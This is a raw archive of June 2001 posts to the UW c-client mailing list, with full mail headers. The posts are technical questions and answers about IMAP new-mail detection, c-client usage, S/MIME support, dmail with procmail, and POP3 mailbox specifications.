(8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BLf2K20666 for ; Mon, 11 Jun 2001 14:41:02 -0700 Received: from goedel3.math.washington.edu (goedel3.math.washington.edu [128.95.224.12]) by euler.math.washington.edu (8.11.2/8.11.2) with ESMTP id f5BLf1D63374 for ; Mon, 11 Jun 2001 14:41:01 -0700 (PDT) Message-Id: Date: Mon, 11 Jun 2001 14:41:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Subject: re: is this a bug in c-client or in server? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Mark Crispin (MRC@CAC.Washington.EDU) wrote on Jun 10, 2001: :) HOWEVER!! In terms of "quality of implementation", a server which does not :) immediately reflect message delivery to a selected mailbox can not be :) considered to be of good quality. Users have a reasonable expection that :) their active IMAP sessions see new mail as it is delivered. Mark, I have noticed this problem with your server in the Math Department (we are using the server distributed with version 4.33). Sometimes I have copied messages to the INBOX folder with pine (modified and unmodified source), and Pine has not noticed the new mail for quite some time (I mean enough time that you consider it long). The message is in the INBOX, and despite the fact that I press ^L, the "N" key at the bottom of the index or the down arrow key also at the bottom of the index I do not see the new mail in Pine. The new mail has not been noticed, even though I have the new feature "check-mail-when-quitting" enabled in Pine. The next time I open the inbox the message is marked as "N" (as opposed to "U" in IMAPSTATUS). This is not a problem with the above mentioned feature, somehow the "newmail" function is not noticing this new message. However, when I added back the pseudo message to my inbox I never suffered that problem again. I believe this is a problem in the server. What do you think? Do you need some debug logs? Thanks. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Mon Jun 11 14:53:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Jun 2001 14:53:12 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BLrBD24282 for ; Mon, 11 Jun 2001 14:53:11 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 11 14:53:10 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BLr8u11675; Mon, 11 Jun 2001 14:53:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BLqkp34846; Mon, 11 Jun 2001 14:52:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BLoO073354 for ; Mon, 11 Jun 2001 14:50:24 -0700 Received: from smtp3.jarna.com ([63.236.58.107]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BLoOX09120 for ; Mon, 11 Jun 2001 14:50:24 -0700 Received: (qmail 1623 invoked by uid 0); 11 Jun 2001 21:50:20 -0000 Received: from unknown (HELO DISCOBALL) (209.233.230.201) by smtp.jarna.com with SMTP; 11 Jun 2001 21:50:20 -0000 Message-Id: Date: Mon, 11 Jun 2001 14:56:48 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Rem" To: Subject: RE: is this a bug in c-client or in server? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Do you know of a website or destination I can query to determine who uses IMAP email in terms of overall numbers and specific institution/business names. It seems that IT Managers have had problems delivering IMAP email to Research In Motion (RIM) devices and our company has recently come up with a solution to that problem. Looking to determine if others need help solving this problem. Thank you, Jason Rem -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Eduardo Chappa Sent: Monday, June 11, 2001 2:41 PM To: c-client@u.washington.edu Subject: re: is this a bug in c-client or in server? *** Mark Crispin (MRC@CAC.Washington.EDU) wrote on Jun 10, 2001: :) HOWEVER!! In terms of "quality of implementation", a server which does not :) immediately reflect message delivery to a selected mailbox can not be :) considered to be of good quality. Users have a reasonable expection that :) their active IMAP sessions see new mail as it is delivered. Mark, I have noticed this problem with your server in the Math Department (we are using the server distributed with version 4.33). Sometimes I have copied messages to the INBOX folder with pine (modified and unmodified source), and Pine has not noticed the new mail for quite some time (I mean enough time that you consider it long). The message is in the INBOX, and despite the fact that I press ^L, the "N" key at the bottom of the index or the down arrow key also at the bottom of the index I do not see the new mail in Pine. The new mail has not been noticed, even though I have the new feature "check-mail-when-quitting" enabled in Pine. The next time I open the inbox the message is marked as "N" (as opposed to "U" in IMAPSTATUS). This is not a problem with the above mentioned feature, somehow the "newmail" function is not noticing this new message. However, when I added back the pseudo message to my inbox I never suffered that problem again. I believe this is a problem in the server. What do you think? Do you need some debug logs? Thanks. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Mon Jun 11 16:55:21 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Jun 2001 16:55:20 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BNtHD05864 for ; Mon, 11 Jun 2001 16:55:20 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 11 16:55:16 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BNtDu16181; Mon, 11 Jun 2001 16:55:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BNsxE22346; Mon, 11 Jun 2001 16:54:59 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5BNrv042378 for ; Mon, 11 Jun 2001 16:53:57 -0700 Received: from black (ip199.t16.ds.pwr.wroc.pl [156.17.209.199]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5BNruX09419 for ; Mon, 11 Jun 2001 16:53:56 -0700 Received: (qmail 7466 invoked from network); 12 Jun 2001 00:07:33 -0000 Received: from czajnik.t16.ds.pwr.wroc.pl (HELO czajsoft.pl) (czajnik@156.17.209.189) by ip199.t16.ds.pwr.wroc.pl with SMTP; 12 Jun 2001 00:07:33 -0000 Message-Id: <3B2559BA.AB5D13D5@czajsoft.pl> Date: Tue, 12 Jun 2001 01:52:26 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Przemyslaw Wegrzyn To: "c-client@u.washington.edu" Subject: I'm new to C-client lib... MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: czajnik@u.washington.edu X-Accept-Language: pl X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ..and I'd like to ask some questions: 1. Is there any documentation for c-client lib, other than docs included in the source distribution ? 2. Question about attachements - does c-client allow to retrieve the message body/attachements form remote server on a part-by-part manner ( I mean loop: use some c-client call to retrieve a part of attachement, process it..) ? 3. Does it create any temporary files ? -=Czaj-nick=- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 11 20:42:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Jun 2001 20:42:17 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5C3gGD20373 for ; Mon, 11 Jun 2001 20:42:16 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 11 20:42:15 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5C3gDu21555; Mon, 11 Jun 2001 20:42:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5C3fwE30066; Mon, 11 Jun 2001 20:41:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5C3et0110866 for ; Mon, 11 Jun 2001 20:40:55 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5C3erX12546 for ; Mon, 11 Jun 2001 20:40:54 -0700 Received: from mobor (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f5C3enI02213; Tue, 12 Jun 2001 09:10:49 +0530 Message-Id: <004b01c0f2f2$7ace1ef0$2e05a8c0@intranet.pspl.co.in> Date: Tue, 12 Jun 2001 09:17:57 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sushmita Roy" To: "Mark Crispin" Cc: Subject: Urgent: C-Client and Security MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0048_01C0F320.91999B40" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0048_01C0F320.91999B40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Mark, I had a couple of doubts regarding the C-client library. 1. Is there any way of using S/Mime or PGP with C-client ? Considering that there is support for basic Mime parsing, how do I fit in 3rd party libraries for S/Mime or PGP ? 2. Besides CRAM-MD5 and APOP, is there support for any other forms of security (Digital Signatures, etc) in the C-Client library ? Maybe in the future versions ? 3. Has anybody implemented a thread-safe version of the C-client library (without strtok, gethostbyname, etc) ? Thanks and Regards Sushmita ------=_NextPart_000_0048_01C0F320.91999B40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi Mark,

       I had a = couple of=20 doubts regarding the C-client library.

     1. Is there any way = of using=20 S/Mime or PGP with C-client ?
        Considering that = there is=20 support for basic Mime parsing,
        how do I fit in = 3rd party=20 libraries for S/Mime or PGP ?

     2. Besides CRAM-MD5 and APOP, = is=20 there support for any other
        forms of security = (Digital=20 Signatures, etc) in the C-Client
        library ? Maybe = in the=20 future versions ?

     3. Has anybody implemented a thread-safe = version=20 of the
        C-client library (without strtok, = gethostbyname,=20 etc) ?

     Thanks and=20 Regards
     Sushmita
    ------=_NextPart_000_0048_01C0F320.91999B40-- From pinedev@shivax2.cac.washington.edu Tue Jun 12 20:50:14 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Jun 2001 20:50:13 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5D3oCD18746 for ; Tue, 12 Jun 2001 20:50:12 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 12 20:50:10 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5D3o4C22713; Tue, 12 Jun 2001 20:50:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5D3nrE20536; Tue, 12 Jun 2001 20:49:54 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5D3ld0113286 for ; Tue, 12 Jun 2001 20:47:39 -0700 Received: from www.pspl.co.in (www.pspl.co.in [202.54.11.65]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5D3lbK16236 for ; Tue, 12 Jun 2001 20:47:38 -0700 Received: from mobor (gateway.pspl.co.in [203.199.147.2]) by www.pspl.co.in (8.11.0/8.11.0) with SMTP id f5D3lSI28428; Wed, 13 Jun 2001 09:17:28 +0530 Message-Id: <002901c0f3bc$9306ee00$2e05a8c0@intranet.pspl.co.in> Date: Wed, 13 Jun 2001 09:24:39 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sushmita Roy" To: "Mark Crispin" Cc: Subject: c-client library capability MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0026_01C0F3EA.ABC90A30" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0026_01C0F3EA.ABC90A30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Mark, Can the C-client library fetch a complete message (headers + body) from an IMAP server. I don't want to fetch the message in parts (mime body parts). There is also some mime encoding/decoding related code, is this used for decoding the messages received from an imap or pop server ? Thanks and Regards, Sushmita ------=_NextPart_000_0026_01C0F3EA.ABC90A30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi Mark,

        Can = the C-client=20 library fetch a complete message
    (headers + body) from an IMAP = server. I=20 don't want to
    fetch the message in parts (mime body parts). There = is
    also=20 some mime encoding/decoding related code, is this
    used for decoding = the=20 messages received from an imap or
    pop server ?

    Thanks and=20 Regards,
    Sushmita
    ------=_NextPart_000_0026_01C0F3EA.ABC90A30-- From pinedev@shivax2.cac.washington.edu Wed Jun 13 11:18:42 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jun 2001 11:18:38 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5DIIbD03773 for ; Wed, 13 Jun 2001 11:18:37 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 13 11:18:36 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DIIYC12554; Wed, 13 Jun 2001 11:18:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5DII9p09490; Wed, 13 Jun 2001 11:18:09 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DIFv047960 for ; Wed, 13 Jun 2001 11:15:58 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DIFvs25985 for ; Wed, 13 Jun 2001 11:15:57 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/go_away) with ESMTP id f5DIXLK02855 for ; Wed, 13 Jun 2001 13:33:21 -0500 Message-Id: <3B27AC9A.CCDDBE3C@birddog.com> Date: Wed, 13 Jun 2001 13:10:34 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: c-client@u.washington.edu Subject: using dmail with procmail MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! I am looking to incorporate dmail into a procmail recipe so I can have mbx formatted inboxes. dmail does not want to run as root or daemon. doesnt procmail run as root typically when called from sendmail? How can I get around this? Or any suggestions? Thank you! Terry -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 13 12:03:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jun 2001 12:03:19 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5DJ3ID20057 for ; Wed, 13 Jun 2001 12:03:18 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 13 12:03:18 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DJ3Cu21435; Wed, 13 Jun 2001 12:03:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5DJ30E32764; Wed, 13 Jun 2001 12:03:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DJ05069540 for ; Wed, 13 Jun 2001 12:00:05 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DJ05X05312 for ; Wed, 13 Jun 2001 12:00:05 -0700 Received: from goedel2.math.washington.edu (goedel2.math.washington.edu [128.95.224.11]) by euler.math.washington.edu (8.11.2/8.11.2) with ESMTP id f5DJ02D305825; Wed, 13 Jun 2001 12:00:02 -0700 (PDT) Message-Id: Date: Wed, 13 Jun 2001 12:00:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Terry Davis Cc: Subject: Re: using dmail with procmail In-Reply-To: <3B27AC9A.CCDDBE3C@birddog.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Terry Davis (tdavis@birddog.com) wrote today: :) I am looking to incorporate dmail into a procmail recipe so I can have :) mbx formatted inboxes. dmail does not want to run as root or daemon. :) doesnt procmail run as root typically when called from sendmail? :) :) How can I get around this? Or any suggestions? Terry, Make the action of the recipe in procmail to be |/path/to/dmail +/path/to/folder dmail will recognize the format that the folder is in, so you need to have the folder in the mbx format before you attempt this. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Wed Jun 13 15:18:48 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jun 2001 15:18:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5DMIhD26163 for ; Wed, 13 Jun 2001 15:18:43 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 13 15:18:42 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DMIeC21685; Wed, 13 Jun 2001 15:18:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5DMISH10598; Wed, 13 Jun 2001 15:18:28 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DMGS073352 for ; Wed, 13 Jun 2001 15:16:28 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DMGSK11017 for ; Wed, 13 Jun 2001 15:16:28 -0700 Received: from mis2.centigram.com ([199.35.49.130]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5DMGRu28869 for ; Wed, 13 Jun 2001 15:16:27 -0700 Received: from notes.centigram.com (notes.centigram.com [146.71.203.208]) by mis2.centigram.com (8.9.1/8.9.1) with SMTP id PAA04786 for ; Wed, 13 Jun 2001 15:16:21 -0700 (PDT) Received: by notes.centigram.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 88256A6A.007ACAFF ; Wed, 13 Jun 2001 15:21:13 -0700 Message-Id: <88256A6A.007AC8E2.00@notes.centigram.com> Date: Wed, 13 Jun 2001 15:20:43 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: manjula_hullatti@adc.com To: c-client@CAC.Washington.EDU Subject: POP3 test program Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: CENTIGRAM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, If anyone has pop3 test program, could you pls send it to me? It would be of great help. As I'm new to c-client, it will help me understand the c-client library. Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 13 20:31:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jun 2001 20:31:38 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5E3VbD21764 for ; Wed, 13 Jun 2001 20:31:37 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 13 20:31:36 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E3VYC30065; Wed, 13 Jun 2001 20:31:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5E3VIE20522; Wed, 13 Jun 2001 20:31:19 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E3SW0115808 for ; Wed, 13 Jun 2001 20:28:33 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E3SWX03336 for ; Wed, 13 Jun 2001 20:28:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (clane@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E3SWu05029 for ; Wed, 13 Jun 2001 20:28:32 -0700 Message-Id: Date: Wed, 13 Jun 2001 20:27:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula_hullatti@adc.com Cc: c-client@CAC.Washington.EDU Subject: Re: mailbox format In-Reply-To: <88256A68.0061A5AF.00@notes.centigram.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Jun 2001 manjula_hullatti@adc.com wrote: > What is the format of mailbox string passed while doing mail_open ? > I tried giving it as {bilbo.centigram.com:110}INBOX and I'm getting an > error > [ccLog] ?Can't open mailbox {bilbo.centigram.com:110}INBOX: invalid remote > specification Did you "#include " in your main program? I bet that you did not. Nothing will work unless you include the linkage! In any case, that specification won't work since it will try to open an IMAP connection on the POP3 port. You need "/pop3" instead of ":110". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jun 13 23:51:11 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jun 2001 23:51:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5E6p9D18261 for ; Wed, 13 Jun 2001 23:51:10 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Jun 13 23:51:09 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E6p6u09206; Wed, 13 Jun 2001 23:51:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5E6onE09350; Wed, 13 Jun 2001 23:50:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E6ma044810 for ; Wed, 13 Jun 2001 23:48:36 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (whlam@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5E6mZX01059 for ; Wed, 13 Jun 2001 23:48:35 -0700 Message-Id: Date: Wed, 13 Jun 2001 23:48:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sushmita Roy Cc: c-client@u.washington.edu, "Masaoud T. Moonim" Subject: Re: C-Client and security In-Reply-To: <00cc01c0f242$aface1c0$2e05a8c0@intranet.pspl.co.in> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Jun 2001, Sushmita Roy wrote: > 1. Is there any way of using S/Mime or PGP with C-client ? > Considering that there is support for basic Mime parsing, > how do I fit in 3rd party libraries for S/Mime or PGP ? S/MIME, PGP, digital signatures, etc. are all done externally to c-client. c-client consists of routines to access and transmit mail; what you are asking about is not part of c-client's mission. Similarly, it is not the mission of the S/MIME libraries to do IMAP. You use c-client with other libraries the way that you use any other set of libraries. You are not restricted to using a single library in your application program. As a general principal, you'd use c-client calls to access the data, when you would then pass to the S/MIME library. And vice versa. You have to study the calls available in both libraries, and work out for yourself how you want to do this. I realize that this isn't particularly helpful, but the fact is that I would have to do the same amount of study myself to answer specific questions about how to do this.. > 2. Besides CRAM-MD5 and APOP, is there support for any other > forms of security (Digital Signatures, etc) in the C-Client > library ? Maybe in the future versions ? CRAM-MD5 and APOP are methods of authentication (to log in), and as such are part of c-client's mission because c-client needs to log in to access or transmit mail. That is completely different from digital signatures. > 3. Has anybody implemented a thread-safe version of the > C-client library (without strtok, gethostbyname, etc) ? Personally, I think that the C library should be fixed so that you can call standard routines such as gethostbyname() without having to worry about whether or not it is "thread-safe". Other programming languages and operating systems implemented threads without having such nonsense. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jun 13 23:52:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jun 2001 23:52:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5E6qMD23569 for ; Wed, 13 Jun 2001 23:52:22 -0700 